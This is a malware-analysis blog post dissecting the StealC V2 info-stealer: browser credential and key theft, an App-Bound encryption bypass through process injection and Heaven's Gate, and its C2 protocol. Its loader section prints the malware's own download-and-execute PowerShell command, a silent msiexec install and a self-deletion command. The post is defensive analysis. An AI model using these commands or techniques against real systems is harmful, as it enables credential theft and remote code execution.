[{"content":"Introduction The Malware-as-a-Service (MaaS) business model has changed over the past few years, specifically showing an increase in info-stealer attacks. These attacks are responsible for most of the initial entry point for data breaches, and they enable financial fraud, ransomware attacks, identity theft and significant corporate network intrusions.\nIn this post we\u0026rsquo;re going in a technical breakdown of StealC V2, a MaaS product that is sold on the dark web and has been active since March 2025. Version 2 of StealC introduced an improved version of the stealer, including a complete codebase rewrite in C++, remodeled C2 communications with encryption, adaptable file stealer and some additional features.\nSample Information SHA256: 00114c344e9215f77bd490fcdce8b06b1b7942cf2d0f5fa7012e498e9c835d99\nFile size: 560,128 (bytes)\nCompile time: 22.05.2025 17:01:36 UTC\nArchitecture: PE32\nInitial Triage Many StealC V2 samples seen in the wild are packed and protected by Themida, a complicated packer that employs numerous features such as anti-debugging and anti-analysis, significantly complicating reverse engineering efforts. We\u0026rsquo;ll be working with a non-packed file.\nLet\u0026rsquo;s start with parsing the executable\u0026rsquo;s PE header to obtain initial metadata. First we can see that the binary was compiled using the MSVC compiler and was written in C++, as noted by Detect It Easy (DIE).\nFigure 1: DIE\u0026rsquo;s detection on compiler version and language.\nWe can also scan the malware through some default YARA, which are pattern matching rules that help malware analysts classify specific malware families or their binary characteristics. DIE allows us to search through some common rules, such as cryptographic rules that may be present in the binary or indicators of a packed file.\nIn this case, 2 signatures were hit: CRC32_poly_constant and BASE64_table, along with their corresponding memory addresses. This suggests the use of CRC32 checksum hashing and Base64 encoding within the binary, which will be examined in more detail later.\nDropping the file into PE-bear, we can identify that it is a 32-bit binary, as indicated by the Magic field in the Optional Header. This field defines the PE format type and can have one of three values: 0x10B for PE32, 0x20B for PE32+ (64-bit executables), and 0x107 for ROM images. The presence of the PE32 Magic value indicates that the executable uses a 32-bit address space.\nFigure 2: The Magic field, as indicated by PE-bear.\nFigure 3: Locating the magic value in the raw binary data.\nWe can also identify that the executable\u0026rsquo;s section names are renamed to arbitrary strings. The Portable Executable structure contains sections, which are the containers of the actual data and code of the executable file. Each section has a corresponding section header, which contains various metadata about the section itself. For example, the .text section which typically contains the executable code of the program.\nHowever, in our sample the names of the sections were renamed to unusual section names as an anti-analysis technique.\nA competent malware developer can easily modify section names without affecting program functionality, as renaming sections does not alter their memory permissions or how the windows loader maps them into memory.\nFigure 4: A normal section table vs. a mangled table in the stealer.\nFigure 5: Section header structure. The Name member has been changed.\nLooking at the Import table of the file, we can spot a single networking function imported from wininet.dll:\nFigure 6: A single entry is presented in a networking-DLL.\nTypically this function appears alongside several other networking routines, and on its own won\u0026rsquo;t perform any work, which suggests that the malware dynamically resolves additional APIs at runtime. If we take a look at the imports inside kernel32.dll, we indeed see LoadLibraryA and GetProcAddress, two common methods that are used to load and retrieve function addresses during runtime.\nFigure 7: Two common APIs for resolving additional functions are listed.\nStatic Analysis We can now fire up a disassembler to better understand the stealer\u0026rsquo;s capabilities.\nTo start with, the malware uses a 2-stage string decryption routine chained together with API resolution logic. Most of the strings are encrypted using RC4 and encoded with Base64, processed with a custom implementation algorithm. The malware uses two hardcoded RC4 keys. The first key is used for local string decryption while the second is used for network-based communications, as the C2 server shares the same second key. On newer StealC V2 versions, the network RC4 key is encrypted with the local RC4 key.\nString Decryption The first function decrypts the function name strings required for dynamic loading in the subsequent function. After decryption it stores those strings in global variables so it can reference them later in the code.\nFigure 8: Decrypting GetKeyboardLayoutList in memory to later obtain the function address.\nThe RC4 encryption function is easy to spot by identifying the 256-byte array known as the s-box and the Key Scheduling Algorithm (KSA), shown in the image below.\nFigure 9: Initialization of sbox and first part of KSA calculation using int(key[i % len(key)]).\nFigure 10: calculation of index and swapping in sbox.\nThe KSA\u0026rsquo;s role is to randomly swap the bytes in the s-box array using the key as the seed to then feed it to the Pseudo-Random Generation Algorithm (PRGA) which generates the final keystream array producing the encrypted ciphertext. Since RC4 is a stream cipher, this function can be used for both encryption and decryption.\nThe Base64 function is easily identifiable as well, as we can spot the use of the 64-byte long indexing string typically used to implement the algorithm.\nFigure 11: Assigning a base64 lookup table to a global variable.\nSpecifically in this scenario where we expect the encrypted strings to be decoded first, one can spot the reverse Base64 lookup table used to index each character to its numeric value.\nFigure 12: Building a reverse base64 lookup table for decoding use.\nThe initial decryption deobfuscates the necessary strings and functions to perform initial checks to determine whether the binary will run or not, which will be covered next.\nTarget Exclusions via Language Settings Before StealC V2 performs any data theft or exfiltration, it first determines valid targets by querying the language identifier of the system and checking it against constant values.\nFigure 13: Language identifier constants exclusion\nLCID Name Language Tag 1049 Russian ru-RU 1058 Ukrainian uk-UA 1059 Belarusian be-BY 1087 Kazakh kk-KZ 1091 Uzbek (Latin) uz-Latn-UZ If it passes all those checks, meaning the user does not have a system language set to one of the excluded locales, then the stealer won\u0026rsquo;t call ExitProcess and execution will continue.\nEvent Driven Execution StealC V2 leverages event objects to control its execution. It first queries a named event object to ensure that only a single instance is running on the host. The queried object name string follows the format: \u0026ldquo;{BOTID_FUNC_ADDR}_{COMPUTER_NAME}_{USERNAME}\u0026rdquo;. Assuming this event exists in the kernel object manager, indicating another instance may be running, the process will pause execution for approximately 4 seconds before checking the event again. The string of the event object is constructed dynamically by writing the bot ID function address to a stream, retrieving the system\u0026rsquo;s computer name and username by calling GetComputerNameW and GetUserNameW, and concatenating these values with underscores to produce a unique identifier.\nFigure 14: An example of a named event object the stealer will create.\nFigure 15: The named event loop check.\nOnce it determines that no such event exist, the malware will attempt to create it by calling CreateEventW, terminating in case it fails to do so.\nFigure 16: Creation of the named event. Calls ExitProcess if creation fails.\nHardcoded Expiry Date Following that, the stealer reads a hardcoded expiration date and compares it with the current execution date. In our sample, if the date is not past 11/06/2025, the process will continue to execute its main code.\nFigure 17: The stealer\u0026rsquo;s time-based check.\nInfo Stealing After initial communications with the C2 server, the stealer retrieves and populates during runtime its C2 config structure, which contains configuration settings that define the malware\u0026rsquo;s behavior. These settings contain flags for specific programs, file paths to target, browser paths and stealing methods, etc.\nFor Chromium browsers, the stealer begins by decrypting browser encryption keys. It targets the Local State file and extracts the encrypted_key field (we\u0026rsquo;ll call it the master key) from the os_crypt object, which is used to decrypt saved passwords, cookies and other sensitive data, all of which are subsequently exfiltrated to its Command and Control server. It does not attempt to decrypt credentials locally, instead, it sends the encryption key and the encrypted files for the server to decrypt. This may allow the process to avoid detection as credential decryption in memory can be flagged as malicious behavior.\nThe encrypted_key field in Windows is stored as a Base64 encoded, DPAPI protected blob which, once decrypted, serves as the AES256-GCM encryption key.\nFigure 18: encrypted_key key-value pair in the Local State file.\nUnder the hood, StealC V2 first copies the contents of the Local State file to a buffer. It then obtains the encrypted_key value by parsing the JSON fields using a JSON library statically linked into the binary.\nFigure 19: Strings mentioning usage of nolnhamn/json library for C++.\nThe malware then decodes the Base64 key string to a byte array by calling CryptStringToBinaryA, with the CRYPT_STRING_BASE64 flag.\nFigure 20: Decoding a base64 string to a byte array. The function is called twice to resize the receiving buffer.\nAt this point we\u0026rsquo;re left with a protected DPAPI key. The Windows Data Protection API (DPAPI) is a cryptographic service that allows apps to easily encrypt and decrypt data using the user\u0026rsquo;s logon credentials.\nTo decrypt DPAPI encrypted blobs, a process must run in the same user context as the process that encrypted them. Since Chromium processes run in the context of the user who launched them when encrypting the encrypted_key, any malware that runs in the context of that user can also use the DPAPI to decrypt the encrypted_key.\nBasically, the browser utilizes the CryptUnprotectData API call in order to decrypt its data, and as we can see it is similar to what StealC V2 performs to decrypt the key. It removes the \u0026ldquo;DPAPI\u0026rdquo; signature prefix and ensures that 32 bytes are returned, to match the key length of the AES256 algorithm. Once the key is decrypted, it exfiltrates it to its C2.\nFigure 21: Removal of DPAPI prefix in the encrypted blob and validation of 32-byte buffer length return.\nFigure 22: Calling CryptUnprotectData on encrypted_key.\nBrowser Database Files Once the primary, master key that is used to encrypt and decrypt sensitive data that Chromium browsers store is successfully exfiltrated, the stealer initiates a loop searching for the Cookies, Login Data, Web Data and History files. These are SQLite database files which are subsequently exfiltrated to the C2 server and decrypted server-side using the master key.\nThe loop is performed with a FindFirstFileA call using a wildcard (*), indicating all files within the browser directory should be enumerated. The returned search handle is then used with FindNextFileA to iterate through each file and folder.\nFigure 23: Appending a wildcard to search all files.\nFigure 24: Iterating through files in the browser directory.\nThe stealing of the above mentioned files depends on the browser specific configuration records retrieved from the C2. These records define which browser should be targeted and specify the corresponding file parsing flags. Each browser record is structured as follows:\nstruct c2_browser_target // sizeof=0x54 { string name; string path; uint32_t type; string soft_path; BYTE use_v20; BYTE parse_cookies; BYTE parse_logins; BYTE parse_history; BYTE parse_webdata; } As we can see, the file loop check contains both the target file name and a flag indicating whether parsing for each file type is enabled in the configuration for the respective browser.\nFigure 25: Searching for \u0026ldquo;Login Data\u0026rdquo; file.\nFor each file the malware attempts to steal, it first generates a random file name and attempts to stage a copy of the file to C:\\ProgramData\\\u0026lt;RandomString\u0026gt;. If the copy operation fails, the malware leverages the Windows Restart Manager API to identify all processes locking that file. It then forcibly terminates each locking process, freeing the lock before retrying the copy. The termination and copy routine is retried up to 10 times.\nOnce the file is copied over, it is exfiltrated to the C2.\nFigure 26: Copy of sensitive files before exfiltration.\nBrowser Extensions StealC V2 iterates through installed browser extensions as well. It mainly targets crypto wallets, authenticators and password managers. If an installed extension matches an entry in the target list received from the C2 server, it follows a similar approach to its SQLite database stealing mechanism by temporarily copying the extension files, removing any locks that may hold them before stealing them.\nFigure 27: Iterating through the extensions. Referred to as \u0026ldquo;plugins\u0026rdquo; in the server response.\nThe master key (i.e. encrypted_key) extraction is a straightforward process. Any application running on behalf of the user can encrypt and decrypt the master key using DPAPI. However, this process changed since Google introduced App-Bound encryption for cookies. Starting with Chrome v127, a SYSTEM-level elevation service (implemented as a COM server) named \u0026ldquo;Chrome Elevation Service\u0026rdquo; was added to provide an additional layer of encryption and process identity verification.\nIn order for Chrome to receive its master key, it must first interact with the elevation service via a COM request, sending an encrypted blob for decryption. The elevation service uses DPAPI twice, first using SYSTEM DPAPI and then the User DPAPI, while ensuring the requesting process path matches the original process that performed the key encryption. The result is the master key, which ensures only Chrome receives this data.\nSo if stealers can\u0026rsquo;t decrypt the master key the traditional way, how does StealC V2 decrypt and steal it?\nKnocking on Heaven\u0026rsquo;s Gate On modern 64-bit Windows systems, both 32-bit and 64-bit binaries can run seamlessly thanks to the Windows-on-Windows 64 bit (WoW64) subsystem. The WoW64 acts as an x86 emulator, responsible for translating all Windows API calls from 32-bit userspace to the 64-bit operating system kernel. In a 32-bit WoW64 process, threads have the capability to dynamically switch the CPU\u0026rsquo;s execution mode to 64-bit. This technique is popular in malware and also known as \u0026ldquo;Heaven\u0026rsquo;s Gate\u0026rdquo;. By performing a far control transfer, changing the segment selector to 0x33, the processor starts interpreting instructions using the 64-bit descriptor, enabling 32-bit applications to execute 64-bit code.\nThis technique enables malware to:\nBypass 32-bit user mode hooks on 32-bit ntdll.dll Access 64-bit process structures Cause failed analysis and disassembly by security solutions or tools The malware implements a set of custom WinAPI functions to obfuscate its behavior and evade usermode hooking. The WoW64 architecture has two ntdll.dll modules loaded into its address space, a 32-bit one and a 64-bit one.\nThe stealer first retrieves the 64-bit ntdll.dll pointer by implementing a custom GetModuleHandle function, transitioning to execute 64-bit code with Heaven\u0026rsquo;s Gate stubs to retrieve necessary structures. Let\u0026rsquo;s walk through the failed disassembly in which Heaven\u0026rsquo;s Gate is used and focus on the last four instructions:\nFigure 28: Transitioning the CPU into 64-bit mode.\nThe first instruction pushes 0x33 onto the stack. It then executes a call to the next instruction (0x004489A7). Since a near call if five bytes long, this effectively pushes the return address (the next instruction) onto the stack. Then, we add 5 to the value pointed to by the stack pointer. Since ESP points to the current address that was pushed, it adds 5 to this address. The retf instruction is executed, which will pop two values from the stack: the first into EIP and the second into the CS segment register. The program will start executing 64-bit code after the retf instruction.\nFigure 29: IDA x86 decompiled code vs x64 code.\nAs shown above, the malware pushes the r12 register and stores it at a local stack offset (RBP-8) before transitioning execution back to 32-bit with the 0x23 segment selector. It then returns the retrieved value in registers EAX:EDX.\nSince we are running in a WoW64 process and restricted to 32-bit registers, what does register r12 contain?\nA WoW64 process initially starts as a 64-bit thread that performs a series of initialization tasks. In order for us to understand where r12 came from, we need to look at how the WoW64 subsystem initializes itself. The important part is found in the RunSimulatedCode function from wow64cpu.dll, which handles 64-bit register saving during execution mode transitions.\nFigure 30: decompilation of wow64cpu!RunSimulatedCode.\nFigure 30 illustrates RunSimulatedCode saving x64 registers onto the stack while loading the 64-bit Thread Environment Block (TEB) into r12 via gs:30h. This means the malware obtains and returns a pointer to the 64-bit TEB structure.\nThis allows the stealer to walk through the loaded modules in memory and search for the desired library address by iterating through InLoadOrderModuleList within the Process Environment Block (PEB).\nStealC V2 implements a fully compliant WoW64 32 to 64 call trampoline that allows it to dynamically call 64-bit functions. It leverages low level NTAPIs to allocate memory as well as map a 64-bit kernel32.dll in order to resolve important functions such as CreateProcessA.\nFigure 31: Writing \u0026ldquo;kernel32.dll\u0026rdquo; string in memory for the purpose of loading it later.\nIt then uses CreateProcessA to launch a suspended 64-bit Chrome process and inject a custom PE payload by allocating 0x26600 bytes of executable memory in the remote process using NtAllocateVirtualMemory. Once the memory is allocated, the payload is written with NtWriteVirtualMemory.\nFigure 32: Resolving CreateProcess from 64-bit kernel32.dll.\nFigure 33: Injecting a PE file into a suspended Chrome process.\nFigure 34: Writing memory to the suspended Chrome process through the call trampoline. The outlined address is split as 32-bit pairs in the WoW64 process.\nFigure 35: An MZ header is written to the allocated memory page.\nA remote thread is then created via RtlCreateUserThread, and execution is synchronized using WaitForSingleObject to wait for the injected thread.\nThe problem now is, the injected thread points to the MZ header which will crash the process. However, the DOS header was slightly modified to include a small stub of shellcode that will jump 0x28000 bytes forward to an additional section attached to the end of the file.\nFigure 36: Modified DOS header with shellcode. Notice the magic header 4d 5a (MZ).\nThis section contains executable code that acts as a reflective PE loader, which handles base relocations, resolves APIs with CRC32 hashing, reconstructs the Import Address Table (IAT), executes TLS callbacks and eventually transfers execution to the payload\u0026rsquo;s entry point.\nThe injected payload is designed to decrypt Chrome\u0026rsquo;s encrypted master key by abusing the elevation service and its IElevator COM interface within the context of a legitimate Chrome process. It reads the app_bound_encrypted_key field from the Local State file, which is passed to the DecryptData method exposed by this interface. The COM server dutifully decrypts the key, transmitting the data back to the main stealer process through a named pipe.\nFigure 37: Initializing the COM library for the elevator service and the IElevator interface.\nFigure 38: Invoking DecryptData, located at 40-byte offset in the interface\u0026rsquo;s vtable.\nThe main stealer and the injected process use similarly named IPC pipes derived from the system\u0026rsquo;s hardware ID (.\\\\pipe\\\u0026lt;HWID\u0026gt;), calculated based on Window\u0026rsquo;s default root drive serial number. This hardware ID is also used in the server communications to identify infected hosts.\nFirefox Data Stealing Firefox has its own dedicated file extraction and data decryption code. The stealer recursively searches for cookies.sqlite, formhistory.sqlite and places.sqlite for exfiltration. Saved passwords are being extracted by locating the logins.json file and parsing it for the encrypted username and password fields associated with each saved website. Notably, the stealer does not send encrypted data to the server, instead it decrypts Firefox passwords locally (the cookie file is not encrypted).\nPrior to decryption, it appends Firefox\u0026rsquo;s installation path to the system\u0026rsquo;s PATH environment variable. Doing so, it can easily load the nss3.dll which is a cryptographic library used by Mozilla browsers. It then resolves several important functions including PK11 methods and NSS-related routines.\nUsing that, it calls PK11SDR_Decrypt on the encrypted usernames and passwords, then exfiltrates them in a structured message.\nFigure 39: Modification of the PATH environment variable.\nFigure 40: Calling a decryption method on encryptedPassword field from logins.json.\nFigure 41: Example of logins.json file.\nThird-Party Apps, Sensitive Files and Other Functionality Besides browsers, StealC V2 is capable of the following:\nMulti-monitor screenshot capture Steam and Outlook clients data stealing WinSCP and Foxmail data stealing (in newer versions) Arbitrary payload executions via PowerShell/MSI/EXE files Server configured file extraction Self deletion The list of targeted sensitive files is received from the C2 server and includes VPN clients, FTP clients, cloud credentials, chat messaging applications, crypto wallets, gaming applications and files stored in common directories. Steam, Outlook, WinSCP and Foxmail are embedded clients which mostly have a similar file extraction logic to the sensitive file harvester, however they have hardcoded file masks and logic. For example, when targeting Steam, the stealer first queries HKCU\\Software\\Valve\\Steam\\SteamPath to locate Steam\u0026rsquo;s installation directory, and then recursively searches configuration and authentication file in the config folder.\nLets look at some of its additional techniques separately.\nScreen Capture The Graphics Device Interface is used to create a compatible Device Context (DC), create a bitmap and copy screen pixels. This bitmap is then saved to a JPG image object with a compression quality of 90.\nFigure 42: Saving an image directly into memory.\nLoader Module Provided that the loader flag is set by the server, the stealer is able to act as an additional payload delivery tool that can executes 3 types of payloads:\nPayload ID Method Description Type 0 - Executable (.exe) ShellExecuteExA API The executable payload is downloaded to a random generated file name in any of the preconfigured paths and execution is retried up to 10 times if it fails. Type 1 - PowerShell C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -nop -c iex(New-Object Net.WebClient).DownloadString('\u0026lt;PAYLOAD\u0026gt;') Constructs a 32-bit PowerShell command that fetches and loads an additional script to execute in memory. Type 2 - MSI msiexec.exe /passive /i \u0026quot;\u0026lt;PAYLOAD\u0026gt;\u0026quot; An .msi payload is retrieved to silently install malicious packages, which are downloaded to a random file name. If installation fails, it retries up to 10 times. Each payload can be launched with elevated privileges by invoking ShellExecuteEx with the runas flag, if the corresponding option is enabled in the C2 panel.\nFile Harvester As mentioned earlier, StealC V2 retrieves file paths to target along with specific file patterns of interest. A single rule for file extraction can look like the following:\n{ \u0026#34;name\u0026#34;: \u0026#34;Tox\u0026#34;, \u0026#34;type\u0026#34;: 3, \u0026#34;csidl\u0026#34;: 1, \u0026#34;start_path\u0026#34;: \u0026#34;\\\\Tox\\\\\u0026#34;, \u0026#34;masks\u0026#34;: \u0026#34;*.tox,*.ini\u0026#34;, \u0026#34;recursive\u0026#34;: false, \u0026#34;max_size\u0026#34;: 0, \u0026#34;iterations\u0026#34;: 1 } The scanning directory is constructed by appending start_path to the directory referenced by the csidl value. The malware maps these values to specific system paths in the code:\nValue 0: LocalAppData\nValue 1: AppData\nValue 2: Desktop\nValue 3: USERPROFILE\nValue 4: Documents\nValue 5: ProgramFiles\nValue 6: ProgramFiles(x86)\nIt then searches for files matching each mask, temporarily copies any discovered files to C:\\ProgramData and uploads them.\nSelf Deletion When self deletion is initiated, a command prompt is spawned with a 5 seconds delay, ensuring the executable is forcibly deleted from disk after the process quits. The launched command is:\ncmd.exe /c timeout /t 5 \u0026amp; del /f /q \u0026quot;\u0026lt;MODULE\u0026gt;\u0026quot;\nFigure 43: Constructing self deletion command. GetModuleFileName is used to retrieve the executable\u0026rsquo;s name.\nFigure 44: ShellExecute is called with cmd.exe\nC2 Operations \u0026amp; Protocols As we already saw in the post, StealC V2 is a modular stealer that does not collect all data in a single stage, rather, it sequentially executes multiple collection functions. Each function targets a specific data source and extracts the relevant artifacts. The stolen data is exfiltrated once extracted, instead of being aggregated locally and transmitted in a single batch.\nTransmission of data is performed by crafting HTTP POST requests using wininet.dll functions. The client and the server utilize a JSON-based network protocol which is RC4 encrypted and Base64 encoded. The RC4 encryption uses a shared network key, which in newer versions is itself encrypted with the client\u0026rsquo;s local key.\nRegistration Following string decryption, the stealer registers the infected machine with a \u0026ldquo;create\u0026rdquo; message that includes the build name and the machine\u0026rsquo;s hardware ID. The build name can be used to track different binaries within a single campaign. The hardware ID is a GUID-like string derived from the primary system disk serial number, obtained by calling GetVolumeInformationA. This number is then transformed through several mathematical operations.\nFigure 45: The HWID hash generation procedure. Consists of four hash parts, with the last being a byte array.\nIn return, the server respond\u0026rsquo;s with an acknowledgment giving the stealer its configuration parameters for its operational tasks and targets, with the \u0026ldquo;success\u0026rdquo; opcode.\nFigure 46: Initial registration beacon.\nIn a case of a rejected request (due to a duplicate IP or HWID), the C2 will return an \u0026quot;opcode\u0026quot;:\u0026quot;blocked\u0026quot;.\nFigure 47: C2 rejects stealer\u0026rsquo;s registration request.\nSucceeding the initial message exchange, the stealer uploads a file named system_info.txt via the \u0026ldquo;upload_file\u0026rdquo; operation. This file contains a wealth of information of the system, including network info, hardware info, the current running processes, installed applications, and more.\nFigure 48: System information building in memory.\nAn example of system_info.txt:\nsystem_info.txt Network Info:\n- IP: IP?\n- Country: ISO? System Summary:\n- HWID: 048FB36A-18CA-1F07-84B5-E21BAF2942D5\n- OS: 10.0 (Build 1337)\n- Architecture: x64\n- UserName: maxlab\n- Computer Name: DESKTOP-OORM1DP\n- Local Time: 2026-03-12 10:39:09\n- UTC: 2\n- Language: en-US\n- Keyboards: English (United States) / Hebrew (Israel)\n- Laptop: FALSE\n- Running Path: C:\\Users\\maxlab\\Desktop\\stealc_v2.bin\n- CPU: 12th Gen Intel(R) Core(TM) i7-12700KF\n- Cores: 2\n- Threads: 2\n- RAM: 8 GB\n- Display Resolution:\nMonitor 1\nDevice Name: \\\\.\\DISPLAY1\nDevice String: VMware SVGA 3D\nResolution: 2277x1288\nColor Depth: 32 bits per pixel\n- GPU:\n-VMware SVGA 3D\nProcess count: 166\nProcess List:\n[System Process] [0]\nSystem [4]\nRegistry [92]\nsmss.exe [296]\ncsrss.exe [420]\nwininit.exe [516]\ncsrss.exe [524]\nwinlogon.exe [596]\nservices.exe [664]\nlsass.exe [684]\nsvchost.exe [792]\nfontdrvhost.exe [816]\nfontdrvhost.exe [824]\nsvchost.exe [920]\nsvchost.exe [972]\ndwm.exe [364]\nsvchost.exe [936]\nsvchost.exe [1044]\nsvchost.exe [1052]\nsvchost.exe [1108]\nsvchost.exe [1120]\nsvchost.exe [1188]\nsvchost.exe [1224]\nsvchost.exe [1260]\nsvchost.exe [1296]\nsvchost.exe [1356]\nsvchost.exe [1448]\nsvchost.exe [1484]\nsvchost.exe [1492]\nsvchost.exe [1516]\nsvchost.exe [1548]\nsvchost.exe [1600]\nMemory Compression [1692]\nsvchost.exe [1772]\nsvchost.exe [1828]\nsvchost.exe [1860]\nsvchost.exe [1868]\nsvchost.exe [1992]\nsvchost.exe [2024]\nsvchost.exe [1104]\nsvchost.exe [2052]\nsvchost.exe [2060]\nsvchost.exe [2164]\nsvchost.exe [2184]\nsvchost.exe [2216]\nsvchost.exe [2300]\nspoolsv.exe [2392]\nsvchost.exe [2508]\nsvchost.exe [2548]\nsvchost.exe [2640]\nsvchost.exe [2728]\nsvchost.exe [2920]\nsvchost.exe [2932]\nsvchost.exe [2940]\nsvchost.exe [3060]\nsvchost.exe [2128]\nsvchost.exe [2588]\nsvchost.exe [3228]\nsvchost.exe [3248]\nsvchost.exe [3264]\nVGAuthService.exe [3284]\nvm3dservice.exe [3316]\nvmtoolsd.exe [3332]\nsvchost.exe [3424]\nvm3dservice.exe [3628]\nsvchost.exe [3836]\nSearchIndexer.exe [672]\ndllhost.exe [4372]\nmsdtc.exe [4612]\nWmiPrvSE.exe [2656]\nsvchost.exe [4756]\nsihost.exe [5208]\nsvchost.exe [5236]\nsvchost.exe [5276]\ninternet_detector.exe [5348]\ntaskhostw.exe [5384]\nsvchost.exe [5456]\nsvchost.exe [5644]\nexplorer.exe [5696]\nsvchost.exe [5944]\nStartMenuExperienceHost.exe [5748]\nRuntimeBroker.exe [6032]\nSearchApp.exe [6196]\nRuntimeBroker.exe [6348]\nsvchost.exe [6588]\nctfmon.exe [6816]\nTabTip.exe [6852]\nRuntimeBroker.exe [7152]\nsvchost.exe [4884]\ninternet_detector.exe [4948]\nTextInputHost.exe [7040]\ndllhost.exe [6128]\nSecurityHealthSystray.exe [6424]\nSecurityHealthService.exe [4600]\nvmtoolsd.exe [4728]\nOneDrive.exe [4252]\nZoomIt64.exe [3484]\nsvchost.exe [7284]\nApplicationFrameHost.exe [7748]\nsvchost.exe [8108]\nSgrmBroker.exe [1276]\nsvchost.exe [172]\nsvchost.exe [7920]\nsvchost.exe [2928]\nShellExperienceHost.exe [2808]\nRuntimeBroker.exe [8084]\nsvchost.exe [4288]\nFileCoAuth.exe [5728]\nUserOOBEBroker.exe [5032]\nsvchost.exe [4564]\nsvchost.exe [4184]\nsvchost.exe [2584]\nWindowsTerminal.exe [7088]\nsvchost.exe [3608]\nPSEXESVC.exe [3364]\nOpenConsole.exe [3940]\npowershell.exe [2252]\nMoUsoCoreWorker.exe [7052]\nsvchost.exe [8676]\nOpenConsole.exe [4864]\npowershell.exe [2108]\nsvchost.exe [8320]\ntaskhostw.exe [7600]\nchrome.exe [8272]\nchrome.exe [5544]\nchrome.exe [5612]\nchrome.exe [8288]\nchrome.exe [8208]\nchrome.exe [8960]\nchrome.exe [8848]\nchrome.exe [8540]\nchrome.exe [4336]\nchrome.exe [904]\nchrome.exe [9168]\nida.exe [4640]\nida.exe [6404]\njavaw.exe [6372]\nida.exe [5040]\njavaw.exe [7364]\ndllhost.exe [4380]\nsvchost.exe [404]\nSearchApp.exe [9760]\nchrome.exe [8684]\nPE-bear.exe [7968]\nx32dbg.exe [2360]\nWireshark.exe [3036]\nsvchost.exe [5476]\nnotepad++.exe [4428]\nchrome.exe [4688]\npestudio.exe [2768]\nPE-bear.exe [11032]\nsvchost.exe [1508]\nchrome.exe [2312]\nOpenConsole.exe [10668]\npowershell.exe [7456]\nMicrosoft.Photos.exe [11188]\nRuntimeBroker.exe [3784]\nMicrosoftEdgeUpdate.exe [9604]\nida.exe [5036]\nOneDrive.Sync.Service.exe [8736]\nsvchost.exe [1500]\nchrome.exe [12920]\nstealc_v2.bin [11068]\nsvchost.exe [11172]\nSearchProtocolHost.exe [12248]\nSearchFilterHost.exe [11076]\nInstalled Apps:\nAll Users:\nBinary Ninja (remove only)\nBinary Ninja (remove only)\nBinary Ninja (remove only)\nVisual Studio Build Tools 2017 - 15.9.73\nGraphviz - 12.2.1\nMalcode Analyst Pack v0.27\nMicrosoft Edge - 137.0.3296.68\nMicrosoft Edge WebView2 Runtime - 137.0.3296.68\nNpcap - 1.80\nPDFStreamDumper 0.9.5xx\nVB Decompiler Lite\nvbdec\nWireshark 4.4.6 x64 - 4.4.6\nWinRT Intellisense UAP - Other Languages - 10.1.17763.132\nWinRT Intellisense Desktop - en-us - 10.1.17763.132\nUniversal CRT Redistributable - 10.0.26624\nMicrosoft Windows Desktop Runtime - 6.0.36 (x64) - 6.0.36.34217\nMicrosoft Windows Desktop Runtime - 5.0.17 (x86) - 5.0.17.31219\nSDK ARM Additions - 10.1.17763.132\nMicrosoft Windows Desktop Runtime - 5.0.17 (x86) - 40.68.31219\nWindows IoT Extension SDK - 10.1.17763.132\nMicrosoft Windows Desktop Runtime - 8.0.16 (x86) - 64.64.32786\nvcpp_crt.redist.clickonce - 14.16.27052\nWindows SDK for Windows Store Apps - 10.1.17763.132\nWindows SDK AddOn - 10.1.0.0\nMicrosoft Visual C++ 2017 X86 Debug Runtime - 14.16.27052 - 14.16.27052\nMicrosoft Windows Desktop Runtime - 5.0.17 (x64) - 5.0.17.31219\nKits Configuration Installer - 10.1.17763.132\nWindows SDK EULA - 10.1.17763.132\nWindows SDK Desktop Libs arm - 10.1.17763.132\nWindows SDK for Windows Store Apps Contracts - 10.1.17763.132\nWindows SDK Desktop Headers arm64 - 10.1.17763.132\nMicrosoft Visual C++ 2022 X86 Minimum Runtime - 14.44.35208 - 14.44.35208\nWindows SDK Desktop Headers x64 - 10.1.17763.132\nSDK ARM Redistributables - 10.1.17763.132\nWindows App Certification Kit SupportedApiList x86 - 10.1.17763.132\nWindows SDK Desktop Libs arm64 - 10.1.17763.132\nMicrosoft .NET Host - 5.0.17 (x86) - 40.68.31213\nWindows SDK Signing Tools - 10.1.17763.132\nMicrosoft .NET Runtime - 5.0.17 (x86) - 40.68.31213\nMicrosoft Visual C++ 2022 X86 Additional Runtime - 14.44.35208 - 14.44.35208\nUniversal CRT Redistributable - 10.1.17763.132\nWindows Software Development Kit - Windows 10.0.17763.132 - 10.1.17763.132\nMicrosoft Visual Studio Setup Configuration - 3.7.2182.35401\nMicrosoft .NET Runtime - 8.0.16 (x86) - 64.64.32758\nMSI Development Tools - 10.1.17763.132\nMicrosoft .NET Host FX Resolver - 6.0.36 (x86) - 48.144.23141\nWindows Mobile Extension SDK Contracts - 10.1.17763.132\nWindows SDK Redistributables - 10.1.17763.132\nWinAppDeploy - 10.1.17763.132\nWindows App Certification Kit x64 - 10.1.17763.132\nWinRT Intellisense PPI - Other Languages - 10.1.17763.132\nWindows SDK for Windows Store Apps Headers - 10.1.17763.132\nUniversal CRT Extension SDK - 10.1.17763.132\nWinRT Intellisense IoT - en-us - 10.1.17763.132\nMicrosoft Windows Desktop Runtime - 8.0.16 (x86) - 8.0.16.34817\nWindows SDK Desktop Tools x64 - 10.1.17763.132\nWinRT Intellisense PPI - en-us - 10.1.17763.132\nMicrosoft .NET SDK 6.0.428 (x64) - 6.4.2824.52403\nMicrosoft .NET Runtime - 6.0.36 (x86) - 48.144.23141\nMicrosoft .NET Runtime - 6.0.36 (x86) - 6.0.36.34214\nPython Launcher - 3.10.11150.0\nWindows SDK for Windows Store Apps DirectX x86 Remote - 10.1.17763.132\nMicrosoft Visual C++ 2015-2022 Redistributable (x64) - 14.44.35208 - 14.44.35208.0\nWindows Desktop Extension SDK Contracts - 10.1.17763.132\nMicrosoft Windows Desktop Runtime - 6.0.36 (x86) - 48.144.23186\nWindows SDK for Windows Store Managed Apps Libs - 10.1.17763.132\nMicrosoft .NET Runtime - 6.0.36 (x64) - 6.0.36.34214\nWindows SDK Desktop Tools arm64 - 10.1.17763.132\nWindows SDK for Windows Store Apps Metadata - 10.1.17763.132\nvs_FileTracker_Singleton - 15.9.28128\nWindows Team Extension SDK - 10.1.17763.132\nWindows IoT Extension SDK Contracts - 10.1.17763.132\nWindows SDK Desktop Libs x64 - 10.1.17763.132\nMicrosoft .NET Host FX Resolver - 5.0.17 (x86) - 40.68.31213\nWinRT Intellisense UAP - en-us - 10.1.17763.132\nWindows Mobile Extension SDK - 10.1.17763.132\nWindows SDK for Windows Store Apps 